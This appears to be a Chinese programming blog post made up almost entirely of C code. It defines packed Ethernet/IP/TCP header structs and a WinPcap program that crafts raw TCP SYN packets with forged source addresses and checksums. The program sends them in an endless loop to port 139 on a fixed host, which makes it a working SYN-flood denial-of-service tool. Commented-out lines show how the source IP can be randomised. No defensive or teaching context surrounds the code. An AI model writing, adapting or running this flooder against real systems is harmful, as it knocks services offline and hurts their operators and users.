pocket

#pragma pack(1) 
 
typedef struct mac_address{ 
    u_char byte1; 
    u_char byte2; 
    u_char byte3; 
    u_char byte4; 
	u_char byte5; 
    u_char byte6; 
}mac_address; 
 
typedef struct ip_address{ 
    u_char byte1; 
    u_char byte2; 
    u_char byte3; 
    u_char byte4; 
}ip_address; 
 
typedef struct tcp_header              //定义TCP首部  
{  
	USHORT	p_01_th_sport;                    //16位源端口  
	USHORT	p_02_th_dport;                    //16位目的端口  
	UINT	p_03_th_seq;                //32位序列号  
	UINT	p_04_th_ack;                //32位确认号  
	UCHAR	p_05_th_lenres;            //4位首部长度/6位保留字  
	UCHAR	p_06_th_flag;              //6位标志位  
	USHORT	p_07_th_win;               //16位窗口大小  
	USHORT	p_08_th_sum;               //16位校验和  
	USHORT	p_09_th_urp;               //16位紧急数据偏移量 
	INT64	p_10_option; 
	 
}tcp_header;  
 
typedef struct psd_header              //定义TCP伪首部  
{  
	//unsigned long p_1_saddr;                //源地址  
	//unsigned long p_2_daddr;                //目的地址  
	ip_address p_1_saddr; 
	ip_address p_2_daddr; 
	char p_3_mbz;						//填充0  
	char p_4_ptcl;                          //协议类型  
	unsigned short p_5_tcpl;                //TCP长度 
	tcp_header	p_6_tcp; 
}psd_header;  
 
typedef struct ip_packet{ 
	u_char  p_01_ver_ihl;      // 版本 (4 bits) + 首部长度 (4 bits):0x45 
    u_char  p_02_tos;            // 服务类型(Type of service) :0x00 
    u_short p_03_tlen;           // 总长(Total length) 
    u_short p_04_identification; // 标识(Identification) 
    u_short p_05_flags_fo;       // 标志位(Flags) (3 bits) + 段偏移量(Fragment offset) (13 bits) 
    u_char  p_06_ttl;            // 存活时间(Time to live) 
    u_char  p_07_proto;          // 协议(Protocol) 
    u_short p_08_crc;            // 首部校验和(Header checksum) 
    ip_address  p_09_sip;		// 源地址(Source address) 
    ip_address  p_10_dip;		// 目的地址(Destination address) 
    //u_int   p_11_op_pad;         // 选项与填充(Option + Padding) 
	tcp_header	p_11_tcp; 
}ip_packet; 
 
typedef struct eth_packet{ 
	mac_address	p_1_dmac; 
	mac_address	p_2_smac; 
	u_short	p_3_type; 
	ip_packet p_4_ip; 
}eth_packet; 
 
#pragma pack(pop)
 
 
 
 
 
 
 
  1. #include "pcap.h"    
  2. #include "packet.h"    
  3. #include "iostream.h"    
  4. #include "time.h"    
  5.    
  6. void syn_fake(UINT n);   
  7. USHORT checksum(USHORT *buffer, int size);   
  8.    
  9. u_char *PacketBuf= new u_char[100];   
  10. eth_packet *p=(eth_packet *)PacketBuf;   
  11. psd_header *psd = new psd_header;   
  12. USHORT old_crc=0;   
  13.    
  14. void main()   
  15. {   
  16.     pcap_if_t *alldevs;   
  17.     pcap_if_t *d;   
  18.     int i=0;   
  19.     int inum=0;   
  20.     char errbuf[PCAP_ERRBUF_SIZE];   
  21.        
  22.     /* Retrieve the device list */   
  23.     if (pcap_findalldevs(&alldevs, errbuf) == -1)   
  24.     {   
  25.         fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);   
  26.         return;   
  27.     }   
  28.        
  29.     /* Print the list */   
  30.     for(d=alldevs;d;d=d->next)   
  31.     {   
  32.         printf("%d. %s", ++i, d->name);   
  33.         if (d->description)   
  34.             printf(" (%s)\n", d->description);   
  35.         else            printf(" (No description available)\n");   
  36.     }   
  37.        
  38.     if(i==0)   
  39.     {   
  40.         printf("\nNo interfaces found! Make sure WinPcap is installed.\n");   
  41.         return;   
  42.     }   
  43.        
  44.     printf("Enter the interface number (1-%d):",i);   
  45.     scanf("%d", &inum);   
  46.        
  47.     if(inum < 1 || inum > i)   
  48.     {   
  49.         printf("\nInterface number out of range.\n");   
  50.         /* Free the device list */   
  51.         pcap_freealldevs(alldevs);   
  52.         return;   
  53.     }   
  54.        
  55.     /* Jump to the selected adapter */   
  56.     for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);   
  57.        
  58.     /* Open the adapter */   
  59.     pcap_t *adhandle;   
  60.     if ( (adhandle= pcap_open_live(d->name, // name of the device    
  61.         100,        // portion of the packet to capture. 65536 grants that the whole packet will be captured on all the MACs.    
  62.         1,          // promiscuous mode    
  63.         1000,       // read timeout    
  64.         errbuf      // error buffer    
  65.         ) ) == NULL)   
  66.     {   
  67.         fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n");   
  68.         /* Free the device list */   
  69.         pcap_freealldevs(alldevs);   
  70.         return;   
  71.     }   
  72.        
  73.     /* 检查数据链路层,为了简单,我们只考虑以太网 */   
  74.     if(pcap_datalink(adhandle) != DLT_EN10MB)   
  75.     {   
  76.         fprintf(stderr,"\nThis program works only on Ethernet networks.\n");   
  77.         /* 释放设备列表 */   
  78.         pcap_freealldevs(alldevs);   
  79.         return;   
  80.     }   
  81.     pcap_freealldevs(alldevs);   
  82.    
  83.     cout << "sending..." << endl;   
  84.    
  85.     //目的MAC    
  86.     p->p_1_dmac.byte1=0x00;   
  87.     p->p_1_dmac.byte2=0x00;   
  88.     p->p_1_dmac.byte3=0xf0;   
  89.     p->p_1_dmac.byte4=0x79;   
  90.     p->p_1_dmac.byte5=0xc6;   
  91.     p->p_1_dmac.byte6=0xd1;   
  92.        
  93.     //源MAC    
  94.     p->p_2_smac.byte1=0x00;   
  95.     p->p_2_smac.byte2=0x0c;   
  96.     p->p_2_smac.byte3=0x29;   
  97.     p->p_2_smac.byte4=0xd6;   
  98.     p->p_2_smac.byte5=0x9c;   
  99.     p->p_2_smac.byte6=0x83;   
  100.        
  101.     //类型:IP    
  102.     p->p_3_type=0x0008;   
  103.        
  104.     //IP报头固定字段    
  105.     p->p_4_ip.p_01_ver_ihl=0x45;   
  106.     p->p_4_ip.p_02_tos=0x00;   
  107.     p->p_4_ip.p_03_tlen=0x3000;     
  108.     p->p_4_ip.p_05_flags_fo=0x40;   
  109.     p->p_4_ip.p_06_ttl=128;   
  110.     p->p_4_ip.p_07_proto=6;   
  111.     p->p_4_ip.p_08_crc=0x0000;   
  112.        
  113.     //目的IP    
  114.     p->p_4_ip.p_10_dip.byte1=10;   
  115.     p->p_4_ip.p_10_dip.byte2=200;   
  116.     p->p_4_ip.p_10_dip.byte3=8;   
  117.     p->p_4_ip.p_10_dip.byte4=63;   
  118.        
  119.     //TCP目的端口    
  120.     p->p_4_ip.p_11_tcp.p_02_th_dport=htons(139);   
  121.        
  122.     //TCP报头其余固定字段    
  123.     p->p_4_ip.p_11_tcp.p_04_th_ack=0x00;   
  124.     p->p_4_ip.p_11_tcp.p_05_th_lenres=112;   
  125.     p->p_4_ip.p_11_tcp.p_06_th_flag=0x02;   
  126.     p->p_4_ip.p_11_tcp.p_07_th_win=htons(65535);   
  127.     p->p_4_ip.p_11_tcp.p_08_th_sum=0x00;   
  128.     p->p_4_ip.p_11_tcp.p_09_th_urp=0x00;   
  129.     p->p_4_ip.p_11_tcp.p_10_option=0x02040101b4050402;   
  130.        
  131.     //TCP伪报头固定部分    
  132.     psd->p_2_daddr.byte1=p->p_4_ip.p_10_dip.byte1;   
  133.     psd->p_2_daddr.byte2=p->p_4_ip.p_10_dip.byte2;   
  134.     psd->p_2_daddr.byte3=p->p_4_ip.p_10_dip.byte3;   
  135.     psd->p_2_daddr.byte4=p->p_4_ip.p_10_dip.byte4;   
  136.     psd->p_3_mbz = 0;   
  137.     psd->p_4_ptcl = 6;   
  138.     psd->p_5_tcpl = htons(sizeof(p->p_4_ip.p_11_tcp));       
  139.     psd->p_6_tcp.p_02_th_dport=p->p_4_ip.p_11_tcp.p_02_th_dport;     
  140.     psd->p_6_tcp.p_04_th_ack=0x00;   
  141.     psd->p_6_tcp.p_05_th_lenres=112;   
  142.     psd->p_6_tcp.p_06_th_flag=0x02;   
  143.     psd->p_6_tcp.p_07_th_win=htons(65535);   
  144.     psd->p_6_tcp.p_08_th_sum=0x00;   
  145.     psd->p_6_tcp.p_09_th_urp=0x00;   
  146.     psd->p_6_tcp.p_10_option=0x02040101b4050402;   
  147.        
  148.     int n=1;   
  149.     while(1)   
  150.     //for (int m=0;m<5;m++)    
  151.     {   
  152.         syn_fake(clock());   
  153.         pcap_sendpacket(adhandle,PacketBuf,sizeof(eth_packet));   
  154.         cout << "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b" << n++ << " packets send!";   
  155.     }   
  156. }   
  157.    
  158. void syn_fake(UINT n)   
  159. {   
  160.     //引入时间作为随机数种子,使用上一次的CRC随机化重复的随机值    
  161.     srand(n);   
  162.    
  163.     //源ip    
  164.     p->p_4_ip.p_09_sip.byte1=10;   
  165.     p->p_4_ip.p_09_sip.byte2=200;   
  166.     p->p_4_ip.p_09_sip.byte3=9;   
  167.     p->p_4_ip.p_09_sip.byte4=187;   
  168.     //p->p_4_ip.p_09_sip.byte2=rand()%255+old_crc-1;    
  169.     //p->p_4_ip.p_09_sip.byte3=rand()%255+old_crc-1;    
  170.     //p->p_4_ip.p_09_sip.byte4=rand()%255+old_crc-1;    
  171.        
  172.     if (p->p_4_ip.p_09_sip.byte4==0)   
  173.         p->p_4_ip.p_09_sip.byte4=123;   
  174.        
  175.     //IP序列号    
  176.     p->p_4_ip.p_04_identification=old_crc;   
  177.        
  178.     //校验和    
  179.     p->p_4_ip.p_08_crc=0x00;   
  180.     p->p_4_ip.p_08_crc=checksum((USHORT *)(PacketBuf+14),20);   
  181.        
  182.     //TCP端口和序列号    
  183.     p->p_4_ip.p_11_tcp.p_01_th_sport=htons(1000+old_crc%8000);   
  184.     p->p_4_ip.p_11_tcp.p_03_th_seq=p->p_4_ip.p_08_crc*0x10000+p->p_4_ip.p_08_crc;   
  185.    
  186.     //TCP伪报头    
  187.     psd->p_1_saddr.byte1=p->p_4_ip.p_09_sip.byte1;   
  188.     psd->p_1_saddr.byte2=p->p_4_ip.p_09_sip.byte2;   
  189.     psd->p_1_saddr.byte3=p->p_4_ip.p_09_sip.byte3;   
  190.     psd->p_1_saddr.byte4=p->p_4_ip.p_09_sip.byte4;   
  191.     psd->p_6_tcp.p_01_th_sport=p->p_4_ip.p_11_tcp.p_01_th_sport;   
  192.     psd->p_6_tcp.p_03_th_seq=p->p_4_ip.p_11_tcp.p_03_th_seq;   
  193.    
  194.     //校验和    
  195.     p->p_4_ip.p_11_tcp.p_08_th_sum = checksum((USHORT *)(psd), sizeof(psd_header));   
  196.    
  197.     //保存CRC    
  198.     old_crc=p->p_4_ip.p_11_tcp.p_08_th_sum;   
  199. }   
  200.    
  201. USHORT checksum(USHORT *buffer, int size)   
  202. {   
  203.     unsigned long cksum=0;   
  204.     while(size >1)   
  205.     {   
  206.         cksum+=*buffer++;   
  207.         size -=sizeof(USHORT);   
  208.     }   
  209.     if(size)   
  210.         cksum += *(UCHAR*)buffer;   
  211.     cksum = (cksum >>16) + (cksum &0xffff);   
  212.     cksum += (cksum >>16);   
  213.     return (USHORT)(~cksum);   
  214. }  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值